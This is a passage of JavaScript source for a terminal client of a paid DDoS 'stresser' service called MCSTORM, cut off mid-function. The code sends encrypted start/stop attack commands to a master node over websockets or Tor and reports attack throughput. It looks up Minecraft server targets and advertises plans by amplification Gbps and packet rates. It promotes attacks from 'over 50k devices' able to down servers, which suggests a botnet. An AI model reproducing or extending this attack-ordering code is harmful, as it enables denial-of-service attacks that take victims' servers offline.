162 | incomingMessageLimits[sender] = [ 163 | {timespan: 10, max: 5, counter: 0, counterStart: 0}, 164 | {timespan: 60, max: 18, counter: 0, counterStart: 0}, 165 | {timespan: 600, max: 90, counter: 0, counterStart: 0}, 166 | {timespan: 3600, max: 330, counter: 0, counterStart: 0}, 167 | ] 168 | } 169 | incomingMessageLimits[sender].forEach((limit,i,o) => { 170 | if(limit.counter == 0) limit.counterStart = currentTime; 171 | if(limit.counterStart + limit.timespan*1000 < currentTime) { 172 | o[i].counterStart = currentTime; 173 | o[i].counter = 0; 174 | } 175 | if(o[i].counter >= limit.max) block = true; 176 | o[i].counter++; 177 | }) 178 | return block; 179 | } 180 | 181 | function saveNodeList() { 182 | var list = []; 183 | knownNodes.forEach(n=>{ 184 | list.push(n.host+":"+n.port); 185 | }) 186 | var listToSave = list.join("\n"); 187 | fs.writeFileSync('nodes.txt', listToSave); 188 | } 189 | 190 | function removeDuplicates(arr, prop) { 191 | return arr.filter((obj, index, self) => { 192 | return self.findIndex((t) => t[prop] === obj[prop]) === index; 193 | }); 194 | } 195 | 196 | function addPotentialNode(node) { 197 | if(!knownNodes.find(o=> o.host === node.host)) { 198 | testNode(node).then(success=>{ 199 | knownNodes.push(node); 200 | knownNodes = removeDuplicates(knownNodes, 'host') 201 | saveNodeList(); 202 | }).catch(e=>{}) 203 | } 204 | 205 | } 206 | 207 | function sha256(input) { 208 | const hash = crypto.createHash('sha256'); 209 | hash.update(input); 210 | return hash.digest('hex'); 211 | } 212 | 213 | function proofOfWork(string, difficulty) { 214 | return new Promise((resolve,reject)=>{ 215 | var workers = []; 216 | for (var i = 0; i < require('os').cpus().length; i++) { 217 | const workerData = {string: string, difficulty: difficulty}; 218 | const w = new Worker('./pow.js', { workerData }); 219 | workers.push(w) 220 | w.setMaxListeners(512); 221 | w.on('message', (code) => { 222 | var hash = sha256(string+code); 223 | resolve({hash: hash, pow: code}); 224 | workers.forEach(worker=>{ 225 | worker.unref() 226 | worker.terminate() 227 | }) 228 | }) 229 | } 230 | }) 231 | } 232 | 233 | function testNode(node) { 234 | return new Promise((resolve, reject)=>{ 235 | var socket; 236 | if(connType=="TOR") { 237 | const Agent = new SocksProxyAgent('socks5://127.0.0.1:9050') 238 | socket = io("wss://" + node.host + ":" + node.port, { 239 | rejectUnauthorized: false, 240 | agent: Agent, 241 | timeout: 60000 242 | }); 243 | } else { 244 | socket = io("wss://" + node.host + ":" + node.port, { 245 | rejectUnauthorized: false, 246 | timeout: 10000 247 | }); 248 | } 249 | socket.on("connect", () => { 250 | socket.emit("getStormnetVersion"); 251 | }); 252 | 253 | socket.on("disconnect", () => { 254 | reject("disconnected") 255 | }); 256 | 257 | socket.on("connect_error", (e) => { 258 | reject("error") 259 | }); 260 | 261 | socket.on("stormnetVersion", version => { 262 | 263 | resolve(version) 264 | socket.disconnect(); 265 | }); 266 | }) 267 | } 268 | 269 | function loadContacts() { 270 | if (!fs.existsSync("contacts.json")) { 271 | fs.writeFileSync("contacts.json", "[]") 272 | } 273 | var contactsFile = fs.readFileSync("contacts.json").toString(); 274 | try { 275 | contacts = JSON.parse(contactsFile); 276 | } catch (e) { 277 | console.log("Malformed contacts.json file. Either fix the file or remove it (removing will also remove all your contacts)".red) 278 | process.exit(); 279 | return; 280 | } 281 | } 282 | 283 | async function createEncryption(message) { 284 | try { 285 | displayBanner(true) 286 | console.log("Welcome to first use setup! Before you can begin, please create a password for encryption.") 287 | console.log(message); 288 | console.log("") 289 | prompt([{ 290 | type: 'password', 291 | mask: true, 292 | name: 'password1', 293 | message: 'Create encryption password:' 294 | }, 295 | { 296 | type: 'password', 297 | mask: true, 298 | name: 'password2', 299 | message: 'Retype encryption password:' 300 | }, 301 | ]) 302 | .then(async (answers) => { 303 | if (answers.password1 == answers.password2) { 304 | console.log("Generating keys..."); 305 | const { 306 | publicKey, 307 | privateKey 308 | } = await generateRSAKeyPair(answers.password1); 309 | console.log("The key is now being verified. This can take anywhere from a few seconds to over a minute, depending on your processor power. Please stand by...".brightCyan); 310 | var {hash, pow} = await proofOfWork(publicKey, 6); 311 | keys.pass = answers.password1; 312 | console.log("Saving...") 313 | fs.writeFileSync('public_key.pem', publicKey); 314 | fs.writeFileSync('private_key.pem', privateKey); 315 | fs.writeFileSync('public_key_pow.txt', pow+":"+hash); 316 | keys.keyPow = pow; 317 | keys.keyHash = hash; 318 | const privateKeyObject = crypto.createPrivateKey({ 319 | key: privateKey, 320 | format: 'pem', 321 | type: 'pkcs8', 322 | passphrase: answers.password1, 323 | }); 324 | 325 | keys.private = privateKeyObject; 326 | keys.public = Buffer.from(publicKey); 327 | if (!fs.existsSync("username.txt")) { 328 | createUsername("Choose a username so people can see your name when you send them a message."); 329 | return; 330 | } 331 | return; 332 | } 333 | createEncryption("Passwords are not matching. Please try again.".yellow); 334 | }) 335 | .catch((error) => { 336 | catchInquirerError(error); 337 | }); 338 | } catch (err) { 339 | console.error('Error generating key pair:', err); 340 | } 341 | } 342 | 343 | function createUsername(message) { 344 | displayBanner(true) 345 | console.log("") 346 | console.log(message); 347 | console.log("") 348 | prompt([{ 349 | type: 'input', 350 | name: 'username', 351 | message: 'Choose your username:' 352 | }]) 353 | .then(async (answers) => { 354 | username = answers.username.match(/^[a-zA-Z0-9\-\_]+$/)[0]; 355 | if (username.length < 3) { 356 | createUsername("Invalid Username".red); 357 | return; 358 | } 359 | fs.writeFileSync("username.txt", username); 360 | showMainMenu(); 361 | }) 362 | .catch((error) => { 363 | catchInquirerError(error); 364 | }); 365 | } 366 | 367 | async function initEncryption(message) { 368 | if (!fs.existsSync("master_public_key.pem")) { 369 | console.log("Master key is missing!".red) 370 | process.exit(); 371 | return; 372 | } 373 | 374 | keys.master = fs.readFileSync("master_public_key.pem"); 375 | 376 | if (!fs.existsSync("private_key.pem") || !fs.existsSync("public_key.pem")) { 377 | createEncryption("Warning! ".yellow + "Password cannot be recovered nor changed. If you lose your password, it can be " + "never recovered".underline.red) 378 | return; 379 | } 380 | 381 | var encryptedPrivateKeyPem = fs.readFileSync("private_key.pem"); 382 | keys.public = fs.readFileSync("public_key.pem"); 383 | 384 | displayBanner(true) 385 | console.log("") 386 | console.log(message); 387 | console.log("") 388 | prompt([{ 389 | type: 'password', 390 | mask: true, 391 | name: 'password', 392 | message: 'Enter decryption password:' 393 | }]) 394 | .then(async (answers) => { 395 | try { 396 | const privateKey = crypto.createPrivateKey({ 397 | key: encryptedPrivateKeyPem, 398 | format: 'pem', 399 | type: 'pkcs8', 400 | passphrase: answers.password, 401 | }); 402 | 403 | keys.private = privateKey; 404 | keys.pass = answers.password; 405 | 406 | loadContacts() 407 | 408 | if (!fs.existsSync("public_key_pow.txt")) { 409 | console.log("Your key is now being verified. This can take anywhere from a few seconds to over a minute, depending on your processor power. Please stand by...".brightCyan); 410 | var {hash, pow} = await proofOfWork(keys.public.toString(), 6); 411 | fs.writeFileSync('public_key_pow.txt', pow+":"+hash); 412 | keys.keyPow = pow; 413 | keys.keyHash = hash; 414 | } else { 415 | var keyPowFile = fs.readFileSync("public_key_pow.txt").toString().split(":"); 416 | keys.keyPow = parseInt(keyPowFile[0]); 417 | keys.keyHash = keyPowFile[1]; 418 | } 419 | if (!fs.existsSync("username.txt")) { 420 | createUsername("Choose a username so people can see your name when you send them a message."); 421 | return; 422 | } 423 | username = fs.readFileSync("username.txt").toString().match(/^[a-zA-Z0-9\-\_]+$/)[0]; 424 | if (username.length < 3) { 425 | console.log("Invalid Username".red); 426 | process.exit(); 427 | return; 428 | } 429 | showMainMenu(); 430 | } catch (e) { 431 | initEncryption("The password is incorrect. Please try again.".yellow + "\n" + "If you have lost your password, you need to remove the `" + "private_key.pem".yellow + "` and `" + "public_key.pem".yellow + "` files.\n" + "This will also cause you to lose your plan and other user information.".red); 432 | } 433 | return; 434 | }) 435 | .catch((error) => { 436 | catchInquirerError(error); 437 | }); 438 | } 439 | 440 | function generateRSAKeyPair(passphrase) { 441 | return new Promise((resolve, reject) => { 442 | crypto.generateKeyPair('rsa', { 443 | modulusLength: 2048, 444 | publicKeyEncoding: { 445 | type: 'spki', 446 | format: 'pem' 447 | }, 448 | privateKeyEncoding: { 449 | type: 'pkcs8', 450 | format: 'pem', 451 | cipher: 'aes-256-cbc', 452 | passphrase: passphrase 453 | } 454 | }, (err, publicKey, privateKey) => { 455 | if (err) { 456 | reject(err); 457 | return; 458 | } 459 | resolve({ 460 | publicKey, 461 | privateKey 462 | }); 463 | }); 464 | }); 465 | } 466 | 467 | function encryptStoredMessage(text, password) { 468 | const salt = crypto.randomBytes(16); 469 | const key = crypto.scryptSync(password, salt, 32); 470 | const iv = crypto.randomBytes(16); 471 | const cipher = crypto.createCipheriv('aes-256-cbc', key, iv); 472 | let encrypted = Buffer.concat([cipher.update(text), cipher.final()]); 473 | return { 474 | salt: salt.toString('hex'), 475 | iv: iv.toString('hex'), 476 | encrypted: encrypted.toString('hex'), 477 | }; 478 | } 479 | 480 | function decryptStoredMessage(message, password) { 481 | var parsedMessage = JSON.parse(message); 482 | const salt = Buffer.from(parsedMessage.salt, 'hex') 483 | const iv = Buffer.from(parsedMessage.iv, 'hex') 484 | const text = Buffer.from(parsedMessage.encrypted, 'hex') 485 | const key = crypto.scryptSync(password, salt, 32); 486 | const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); 487 | let decrypted = Buffer.concat([decipher.update(text), decipher.final()]); 488 | return decrypted; 489 | } 490 | 491 | function encryptData(data) { 492 | const iv = crypto.randomBytes(16); 493 | const key = crypto.randomBytes(32); 494 | 495 | const cipher = crypto.createCipheriv("aes-256-cbc", key, iv); 496 | const encryptedData = Buffer.concat([cipher.update(data), cipher.final()]); 497 | 498 | return { 499 | encryptedData: encryptedData, 500 | key: Buffer.concat([iv, key]) 501 | }; 502 | } 503 | 504 | function decryptData(fullkey, data) { 505 | const iv = fullkey.slice(0, 16); 506 | const key = fullkey.slice(16, 48); 507 | 508 | const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); 509 | const decryptedData = Buffer.concat([decipher.update(data), decipher.final()]); 510 | 511 | return decryptedData; 512 | } 513 | 514 | async function encryptMessage(message, useMaster) { 515 | var encryptedMessage = encryptData(message); 516 | var encryptedKey = crypto.privateEncrypt(keys.private, encryptedMessage.key); 517 | if (useMaster) encryptedKey = crypto.publicEncrypt(keys.master, encryptedKey); 518 | let encrypted = { 519 | messageId: generateMessageId(), 520 | encryptedMessage: encryptedMessage.encryptedData, 521 | encryptedKey: encryptedKey, 522 | publicKey: keys.public 523 | } 524 | var {hash, pow} = await proofOfWork(JSON.stringify(encrypted), 4); 525 | encrypted.hash = hash; 526 | encrypted.pow = pow; 527 | encrypted.keyPow = keys.keyPow; 528 | encrypted.keyHash = keys.keyHash; 529 | 530 | return encrypted; 531 | } 532 | 533 | function signMessage(message) { 534 | const sign = crypto.createSign('RSA-SHA256'); 535 | sign.update(message); 536 | const signature = sign.sign(keys.private); 537 | return signature; 538 | } 539 | 540 | function verifySignature(message, signature, publicKey) { 541 | const verify = crypto.createVerify('RSA-SHA256'); 542 | verify.update(message); 543 | const signatureBuffer = Buffer.from(signature, 'hex') 544 | const isVerified = verify.verify(publicKey, signature, 'hex'); 545 | return isVerified; 546 | } 547 | 548 | async function encryptDirectMessage(message, recipientKey) { 549 | var sign = signMessage(message).toString('hex'); 550 | var messageToEncrypt = {message: message, signature: sign} 551 | var encryptedMessage = encryptData(JSON.stringify(messageToEncrypt)); 552 | var encryptedKey = crypto.publicEncrypt(Buffer.from(recipientKey, 'hex'), encryptedMessage.key); 553 | let encrypted = { 554 | messageId: generateMessageId(), 555 | encryptedMessage: encryptedMessage.encryptedData, 556 | encryptedKey: encryptedKey, 557 | publicKey: keys.public 558 | } 559 | var {hash, pow} = await proofOfWork(JSON.stringify(encrypted), 4); 560 | encrypted.hash = hash; 561 | encrypted.pow = pow; 562 | encrypted.keyPow = keys.keyPow; 563 | encrypted.keyHash = keys.keyHash; 564 | return encrypted; 565 | } 566 | 567 | function getUserToken(publicKey) { 568 | return publicKey.slice(128, 128 + 16).toString("hex") 569 | } 570 | 571 | function colorizeCPS(cps) { 572 | if(cps<100) return cps; 573 | if(cps>=100&&cps<500) return cps.toString().brightGreen 574 | if(cps>=500&&cps<1500) return cps.toString().brightYellow 575 | if(cps>=1500&&cps<2500) return cps.toString().yellow 576 | if(cps>=2500&&cps<3500) return cps.toString().brightRed 577 | return cps.toString().red 578 | } 579 | 580 | function bufferArrayIncludes(bufferArray, targetBuffer) { 581 | return bufferArray.some(buf => Buffer.compare(buf, targetBuffer) === 0); 582 | } 583 | 584 | function decryptMessage(message) { 585 | 586 | if (!bufferArrayIncludes(knownKeys, message.publicKey)) knownKeys.push(message.publicKey); 587 | 588 | if (message.publicKey.equals(keys.master)) { 589 | // from master 590 | try { 591 | var decryptedKey = crypto.publicDecrypt(keys.master, message.encryptedKey); 592 | var decryptedMessage = null; 593 | 594 | try { 595 | // public master message 596 | decryptedMessage = decryptData(decryptedKey, message.encryptedMessage); 597 | } catch(e) { 598 | // private master message 599 | decryptedKey = crypto.privateDecrypt(keys.private, decryptedKey); 600 | decryptedMessage = decryptData(decryptedKey, message.encryptedMessage); 601 | } 602 | var parsedMessage = JSON.parse(decryptedMessage.toString()); 603 | if(parsedMessage.t == "i") { 604 | currentData = parsedMessage.d; 605 | var totalC5 = 0; 606 | var totalC3 = 0; 607 | myAttacks.forEach((a,i,o)=>{ 608 | if(Date.now(){ 610 | if(a.servers.includes(n.s)) { 611 | totalC5 += n.c5; 612 | totalC3 += n.c3; 613 | 614 | } 615 | }) 616 | 617 | } else { 618 | if (currentWindow == "console") console.commandLog("Attack ended.".yellow); 619 | o.splice(i,1); 620 | } 621 | }) 622 | if (currentWindow == "console"&&myAttacks.length>0) console.commandLog("CPS: "+colorizeCPS(totalC5)+" | Responses: "+colorizeCPS(totalC3)); 623 | } 624 | if(parsedMessage.t == "attack") { 625 | var data = parsedMessage.d 626 | var endTime = Date.now()+1000*data.time 627 | myAttacks.push({servers: data.servers, stormcode: data.stormcode, endTime: endTime}) 628 | if (currentWindow == "console") console.commandLog(("Attack starting using "+data.servers.join(", ")).green); 629 | } 630 | if(parsedMessage.t == "attack_error") { 631 | var data = parsedMessage.d 632 | if (currentWindow == "console") { 633 | console.commandLog(("Could not start attack: "+data).red); 634 | switch(data) { 635 | case "invalid_syntax": 636 | console.commandLog(("Usage: start [PROTOCOL]")); 637 | break; 638 | case "not_registered": 639 | console.commandLog(("You have to purchase a plan before running attacks")); 640 | break; 641 | case "free_over_limit": 642 | console.commandLog(("You have used all your free attacks")); 643 | break; 644 | case "invalid_method": 645 | console.commandLog(("The method is not valid or you do not have permission to this method. Use `"+"methods".yellow+"` to see available methods. Free method is only `"+"join".yellow+"`. Methods are CASE SENSITIVE.")); 646 | break; 647 | case "invalid_network": 648 | console.commandLog(("The network is not valid or you do not have permission to this network. Use `"+"networks".yellow+"` to see available netowrks. Free network is only `"+"DELTA".yellow+"`. Networks are CASE SENSITIVE.")); 649 | break; 650 | case "invalid_time": 651 | console.commandLog(("The time is either not valid or your plan does not allow such long attacks")); 652 | break; 653 | case "too_many_concurrent": 654 | console.commandLog(("Your plan does not allow so many concurrent attacks")); 655 | break; 656 | case "servers_unavailable": 657 | console.commandLog(("All slots are full. Please try again later.")); 658 | break; 659 | } 660 | } 661 | } 662 | if(parsedMessage.t == "stop_error") { 663 | var data = parsedMessage.d 664 | if (currentWindow == "console") console.commandLog(("Could not stop attack: "+data).red); 665 | } 666 | if(parsedMessage.t == "stop") { 667 | var data = parsedMessage.d 668 | if (currentWindow == "console") console.commandLog(("Successfully stopped attacks: "+data).green); 669 | myAttacks = []; 670 | } 671 | // 672 | return decryptedMessage 673 | } catch (e) { 674 | return false; 675 | } 676 | } 677 | 678 | // public message from different client 679 | try { 680 | var decryptedKey = crypto.publicDecrypt(message.publicKey, message.encryptedKey); 681 | var decryptedMessage = decryptData(decryptedKey, message.encryptedMessage); 682 | var parsedMessage = JSON.parse(decryptedMessage.toString()) 683 | if(parsedMessage.token!=undefined) { 684 | 685 | if(limitIncomingMessages(message.publicKey)) return; 686 | 687 | parsedMessage.token = getUserToken(message.publicKey); 688 | decryptedMessage = JSON.stringify(parsedMessage) 689 | if (!fs.existsSync("./chatHistories/community")) { 690 | fs.mkdirSync("./chatHistories/community") 691 | } 692 | if (!fs.existsSync("./chatHistories/community/history")) { 693 | fs.writeFileSync("./chatHistories/community/history", "") 694 | } 695 | if (!fs.existsSync("./chatHistories/community/messages")) { 696 | fs.mkdirSync("./chatHistories/community/messages") 697 | } 698 | fs.writeFileSync("./chatHistories/community/messages/" + message.messageId + ".json", JSON.stringify(encryptStoredMessage(decryptedMessage.toString(), keys.pass))); 699 | fs.appendFileSync("./chatHistories/community/history", message.messageId + "\n") 700 | if (currentWindow == "community") { 701 | console.commandLog("[" + getUserToken(message.publicKey).slice(0, 8) + "...] " + parsedMessage.username + " > " + parsedMessage.message) 702 | if(process.platform=="win32") sound.play(__dirname + './sounds/communityMessage.wav'); 703 | } 704 | } 705 | if(parsedMessage.knownNode!=undefined) { 706 | addPotentialNode(parsedMessage.knownNode) 707 | 708 | } 709 | 710 | return decryptedMessage 711 | } catch (e) { 712 | //return false; 713 | } 714 | 715 | // private message from different client 716 | try { 717 | var decryptedKey = crypto.privateDecrypt(keys.private, message.encryptedKey); 718 | var decryptedMessage = decryptData(decryptedKey, message.encryptedMessage); 719 | var userToken = getUserToken(message.publicKey); 720 | var parsedMessage = JSON.parse(decryptedMessage.toString()) 721 | 722 | if (!verifySignature(parsedMessage.message, parsedMessage.signature, message.publicKey)) return; 723 | 724 | finalMessage = JSON.parse(parsedMessage.message); 725 | 726 | if (!updateContact(userToken, finalMessage.username)) return; 727 | 728 | if (finalMessage.message == "") return; 729 | 730 | if (!fs.existsSync("./chatHistories/" + userToken)) { 731 | fs.mkdirSync("./chatHistories/" + userToken) 732 | } 733 | if (!fs.existsSync("./chatHistories/" + userToken + "/history")) { 734 | fs.writeFileSync("./chatHistories/" + userToken + "/history", "") 735 | } 736 | if (!fs.existsSync("./chatHistories/" + userToken + "/messages")) { 737 | fs.mkdirSync("./chatHistories/" + userToken + "/messages") 738 | } 739 | 740 | fs.writeFileSync("./chatHistories/" + userToken + "/messages/" + message.messageId + ".json", JSON.stringify(encryptStoredMessage(parsedMessage.message, keys.pass))); 741 | fs.appendFileSync("./chatHistories/" + userToken + "/history", message.messageId + "\n") 742 | 743 | if(process.platform=="win32") sound.play(__dirname + './sounds/directMessage.wav'); 744 | if (lastNotification < Date.now() - 7000 && process.platform=="win32") { 745 | lastNotification = Date.now(); 746 | notifier.notify({ 747 | title: finalMessage.username, 748 | message: finalMessage.message, 749 | sound: false, 750 | appID: "MCSTORM Direct Message "+message.messageId, 751 | icon: __dirname + './image/logo.png' 752 | }); 753 | } 754 | 755 | const date = new Date(finalMessage.time); 756 | const dateString = date.toLocaleDateString(); 757 | const timeString = date.toLocaleTimeString(); 758 | 759 | if (currentWindow == "DM" + userToken) console.commandLog("[DM] ".green + ("[" + dateString + " " + timeString + "]").brightBlue + " [" + userToken.slice(0, 8) + "...] " + finalMessage.username + " > " + finalMessage.message) 760 | return decryptedMessage 761 | } catch (e) { 762 | return false; 763 | } 764 | 765 | } 766 | 767 | function generateMessageId() { 768 | return Math.floor(Math.random() * Number.MAX_SAFE_INTEGER); 769 | } 770 | 771 | async function sendCommand(args) { 772 | if(connected==0) { 773 | console.log("You are not connected to any nodes. Please try again in a few seconds or verify content of nodes.txt".red) 774 | return; 775 | } 776 | process.stdout.write("Generating payload...") 777 | var message = await encryptMessage(JSON.stringify(args), true); 778 | process.stdout.write("\r\x1b[0K"); 779 | 780 | commandQueue.push(message); 781 | } 782 | 783 | async function sendDirectMessage(message, recipientKey) { 784 | var localId = generateMessageId(); 785 | fs.writeFileSync("./chatHistories/" + getUserToken(Buffer.from(recipientKey, 'hex')) + "/messages/" + localId + ".json", JSON.stringify(encryptStoredMessage(message, keys.pass))); 786 | fs.appendFileSync("./chatHistories/" + getUserToken(Buffer.from(recipientKey, 'hex')) + "/history", localId + "\n") 787 | process.stdout.write("Generating payload...") 788 | var message = await encryptDirectMessage(message, recipientKey); 789 | process.stdout.write("\r\x1b[0K"); 790 | commandQueue.push(message); 791 | } 792 | 793 | async function sendCommunityMessage(message) { 794 | var localId = generateMessageId(); 795 | fs.writeFileSync("./chatHistories/community/messages/" + localId + ".json", JSON.stringify(encryptStoredMessage(message, keys.pass))); 796 | fs.appendFileSync("./chatHistories/community/history", localId + "\n") 797 | process.stdout.write("Generating payload...") 798 | var message = await encryptMessage(message, false); 799 | process.stdout.write("\r\x1b[0K"); 800 | commandQueue.push(message); 801 | } 802 | 803 | function runWhois(parts) { 804 | whois.lookup(parts[1], function(err, data) { 805 | if (currentWindow == "console") console.commandLog(data) 806 | }) 807 | } 808 | 809 | function runDNS(parts) { 810 | dns.resolve4(parts[1], function(err, address, family) { 811 | if (currentWindow == "console") console.commandLog(address) 812 | }) 813 | } 814 | 815 | function runDNSMC(parts) { 816 | 817 | var host = "_minecraft._tcp."+parts[1]; 818 | dns.resolveSrv(host, function(err, addresses) { 819 | if(err) { 820 | if (currentWindow == "console") console.commandLog("Cannot resolve "+host) 821 | return; 822 | } 823 | addresses.forEach(address=>{ 824 | if (currentWindow == "console") console.commandLog(address.name+":"+address.port) 825 | }) 826 | }) 827 | 828 | } 829 | 830 | async function processCommand(command) { 831 | history.push(command) 832 | historyIndex = history.length; 833 | commandParts = command.split(" "); 834 | switch (commandParts[0]) { 835 | case "exit": 836 | return false; 837 | case "clear": 838 | displayBanner(); 839 | break; 840 | case "help": 841 | showHelp(); 842 | break; 843 | case "methods": 844 | console.log(currentData.methods); 845 | break; 846 | case "networks": 847 | console.log(currentData.networks); 848 | break; 849 | case "protocols": 850 | console.log(currentData.protocols); 851 | break; 852 | case "dns": 853 | runDNS(commandParts); 854 | break; 855 | case "mcdns": 856 | runDNSMC(commandParts); 857 | break; 858 | case "whois": 859 | runWhois(commandParts); 860 | break; 861 | case "stop": 862 | case "start": 863 | case "redeem": 864 | await sendCommand(commandParts); 865 | break; 866 | case "addnode": 867 | addNode(commandParts); 868 | break; 869 | default: 870 | console.log("Unknown command: ".red + command) 871 | } 872 | return true; 873 | } 874 | 875 | async function processDirectMessage(message, recipientKey) { 876 | if (message == "exit") return false 877 | var messageToSend = JSON.stringify({ 878 | message: message, 879 | username: username, 880 | time: Date.now() 881 | }) 882 | await sendDirectMessage(messageToSend, recipientKey); 883 | return true; 884 | } 885 | 886 | async function processCommunityMessage(message) { 887 | if (message == "exit") return false 888 | if (message == "token") { 889 | console.log("Your user token: " + getUserToken(keys.public)) 890 | return true; 891 | } 892 | if (message == "") { 893 | console.log("Message was not send: message is empty".red) 894 | return true; 895 | } 896 | if (message.length > 256) { 897 | console.log("Message was not send: message too long".red) 898 | return true; 899 | } 900 | if(limitOutgoingMessages()) { 901 | console.log("Message was not send: ratelimited".red) 902 | return true; 903 | } 904 | var messageToSend = JSON.stringify({ 905 | message: message, 906 | username: username, 907 | token: getUserToken(keys.public) 908 | }) 909 | await sendCommunityMessage(messageToSend); 910 | return true; 911 | } 912 | 913 | function showHelp() { 914 | try { 915 | console.log(fs.readFileSync("help.txt").toString()); 916 | } catch (e) { 917 | console.log("Help file is missing".red) 918 | } 919 | } 920 | 921 | function buyPlans() { 922 | try { 923 | 924 | var names = ["Feature"]; 925 | var concurrents = ["Concurrents"]; 926 | var cps = ["CPS (Sockets)"]; 927 | var cps2 = ["CPS Peak (Sockets)"]; 928 | var rps = ["RPS (Requests)"]; 929 | var tls = ["TLSv1"]; 930 | var tls2 = ["TLSv2"]; 931 | var l4a = ["L4 AMP"]; 932 | var l4p = ["L4 TCP"]; 933 | var ips = ["IP Pool"]; 934 | var times = ["Attack time"]; 935 | var daytimes = ["Total time per day"]; 936 | var networks = ["Network"]; 937 | var prices = ["Price"]; 938 | currentData.p.forEach(p=>{ 939 | if(p.c==0) return; 940 | names.push(p.t) 941 | concurrents.push(p.c) 942 | cps.push((p.s*p.c).toLocaleString('en-US')+"/s") 943 | cps2.push((p.s*2*p.c).toLocaleString('en-US')+"/s") 944 | rps.push((p.r*p.c).toLocaleString('en-US')+"/s") 945 | tls.push((p.t1*p.c).toLocaleString('en-US')+"/s") 946 | tls2.push((p.t2*p.c).toLocaleString('en-US')+"/s") 947 | l4a.push((p.l4a*p.c).toLocaleString('en-US')+" Gbps") 948 | l4p.push((p.l4p*p.c).toLocaleString('en-US')+" pps") 949 | ips.push(p.i.toLocaleString('en-US')+"x IPv4") 950 | times.push(p.l.toLocaleString('en-US')+" s") 951 | daytimes.push(p.dl+" h") 952 | networks.push(p.n) 953 | prices.push(p.p+"€ / Month") 954 | 955 | }) 956 | var table = new Table({ 957 | head: names 958 | }); 959 | table.push(concurrents) 960 | table.push(cps) 961 | table.push(cps2) 962 | table.push(rps) 963 | table.push(tls) 964 | table.push(tls2) 965 | table.push(l4a) 966 | table.push(l4p) 967 | table.push(ips) 968 | table.push(times) 969 | table.push(daytimes) 970 | table.push(networks) 971 | table.push(prices) 972 | console.log(table.toString()); 973 | console.log("*".red +" Time per day states how long can you attack in total per day. You can start unlimited number attacks."); 974 | console.log(""); 975 | console.log("Rain and Storm ARE powerful (more powerful than any other stresser plans at this price) and can down a lot of servers, but the true power of MCSTORM is unleashed with the ALPHA network. The enormous power of up to 200k sockets per second per concurrent coming from over 50k devices demolishes even the most powerful servers."); 976 | console.log(""); 977 | console.log("Power Proof: "+currentData.power); 978 | console.log("Buy plans at "+currentData.buy); 979 | console.log(""); 980 | backToMainMenu() 981 | return; 982 | } catch (e) { 983 | console.log("Could not get plan information. Please wait a few seconds before trying again.".red) 984 | backToMainMenu() 985 | return; 986 | } 987 | } 988 | function buyPrivatePlans() { 989 | try { 990 | 991 | var names = ["Feature"]; 992 | var cps = ["CPS (Sockets)"]; 993 | var cps2 = ["CPS Peak (Sockets)"]; 994 | var rps = ["RPS (Requests)"]; 995 | var tls = ["TLSv1"]; 996 | var tls2 = ["TLSv2"]; 997 | var l4a = ["L4 AMP"]; 998 | var l4p = ["L4 TCP"]; 999 | var ips = ["IP Pool"]; 1000 | var networks = ["Network"]; 1001 | var prices = ["Price"]; 1002 | currentData.p.forEach(p=>{ 1003 | if(p.c!=0) return; 1004 | names.push(p.t) 1005 | cps.push(p.s.toLocaleString('en-US')+"/s per slot") 1006 | cps2.push((p.s*2).toLocaleString('en-US')+"/s per slot") 1007 | rps.push(p.r.toLocaleString('en-US')+"/s per slot") 1008 | tls.push(p.t1.toLocaleString('en-US')+"/s per slot") 1009 | tls2.push(p.t2.toLocaleString('en-US')+"/s per slot") 1010 | l4a.push(p.l4a.toLocaleString('en-US')+" Gbps per slot") 1011 | l4p.push(p.l4p.toLocaleString('en-US')+" pps per slot") 1012 | ips.push(p.i.toLocaleString('en-US')+"x IPv4") 1013 | networks.push(p.n) 1014 | prices.push(p.p+"€ / Month per slot") 1015 | 1016 | }) 1017 | var table = new Table({ 1018 | head: names 1019 | }); 1020 | table.push(cps) 1021 | table.push(cps2) 1022 | table.push(rps) 1023 | table.push(tls) 1024 | table.push(tls2) 1025 | table.push(l4a) 1026 | table.push(l4p) 1027 | table.push(ips) 1028 | table.push(networks) 1029 | table.push(prices) 1030 | console.log(table.toString()); 1031 | console.log("*".red +" All private plans have dedicated slots and can attack 24/7 without any restrictions."); 1032 | console.log(""); 1033 | console.log("Buy plans at "+currentData.buy); 1034 | console.log(""); 1035 | backToMainMenu() 1036 | return; 1037 | } catch (e) { 1038 | console.log("Could not get plan information. Please wait a few seconds before trying again.".red) 1039 | backToMainMenu() 1040 | return; 1041 | } 1042 | } 1043 | 1044 | function openConsole(showHelp = false) { 1045 | currentWindow = "console"; 1046 | if (showHelp) { 1047 | console.log("") 1048 | console.log("Type `" + "help".yellow + "` to display available commands.") 1049 | console.log("Type `" + "exit".yellow + "` to return to main menu.") 1050 | console.log("") 1051 | } 1052 | 1053 | prompt([{ 1054 | type: 'input', 1055 | name: 'command', 1056 | message: '>', 1057 | }]) 1058 | .then(async (answers) => { 1059 | if (await processCommand(answers.command)) { 1060 | openConsole(); 1061 | } else { 1062 | prompt.currentPrompt = null; 1063 | showMainMenu(); 1064 | } 1065 | 1066 | }) 1067 | .catch((error) => { 1068 | catchInquirerError(error); 1069 | }); 1070 | } 1071 | 1072 | function openCommunityChat(showHelp = false) { 1073 | currentWindow = "community"; 1074 | if (showHelp) { 1075 | console.log("") 1076 | console.log("Type `" + "exit".yellow + "` to return to main menu.") 1077 | console.log("") 1078 | if (!fs.existsSync("./chatHistories")) { 1079 | fs.mkdirSync("./chatHistories") 1080 | } 1081 | if (!fs.existsSync("./chatHistories/community")) { 1082 | fs.mkdirSync("./chatHistories/community") 1083 | } 1084 | if (!fs.existsSync("./chatHistories/community/history")) { 1085 | fs.writeFileSync("./chatHistories/community/history", "") 1086 | } 1087 | if (!fs.existsSync("./chatHistories/community/messages")) { 1088 | fs.mkdirSync("./chatHistories/community/messages") 1089 | } 1090 | var decryptedMessages = []; 1091 | console.log("Decrypting messages...") 1092 | fs.readFileSync("./chatHistories/community/history").toString().replace(/\r/g, "").split("\n").slice(-50).forEach(file => { 1093 | if (file == "") return; 1094 | var decrypted = JSON.parse(decryptStoredMessage(fs.readFileSync("./chatHistories/community/messages/" + file + ".json"), keys.pass).toString()); 1095 | decryptedMessages.push("[" + decrypted.token.slice(0, 8) + "...] " + decrypted.username + " > " + decrypted.message) 1096 | }); 1097 | decryptedMessages.forEach(message => { 1098 | console.log(message) 1099 | }) 1100 | } 1101 | prompt([{ 1102 | type: 'input', 1103 | name: 